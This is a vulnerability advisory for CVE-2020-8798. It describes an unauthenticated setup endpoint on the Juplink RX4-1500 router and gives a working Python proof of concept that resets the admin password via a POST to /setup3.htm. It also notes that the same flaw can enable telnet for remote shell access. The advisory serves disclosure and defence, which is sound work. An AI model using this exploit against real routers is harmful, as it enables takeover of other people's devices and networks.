CVE-2020-8798: Juplink RX4-1500 unauthenticated setup endpoint

This vulnerability is an Incorrect Access Control vulnerability in the Juplink RX4-1500 router (firmware 1.0.3).

The router’s initial setup wizard endpoint, /setup3.htm, remained reachable after setup was complete. The firmware never verified whether the router had already been configured, so an unauthenticated user could submit a POST to that endpoint and change router configuration at any time — including the admin password, the Wi-Fi SSID, the Wi-Fi password, and other configuration variables.

A short Python 3 proof of concept changed the admin password like this:

import requests
import base64

addr = "http://192.168.0.1/setup3.htm"

params = {
    "a": "set",
    "x": "Device.X_BROADCOM_COM_LoginCfg.",
    "AdminPassword": base64.b64encode(b"admin")
}

requests.post(addr, params)

Through version 1.0.3 this could also be used to enable the debug telnet interface, yielding remote shell command execution. At the time this was published, the issue was still present in firmware 1.0.5 and the vendor had not patched it; it was published more than 120 days after initial disclosure to prompt a patch.

References: NVD entry for CVE-2020-8798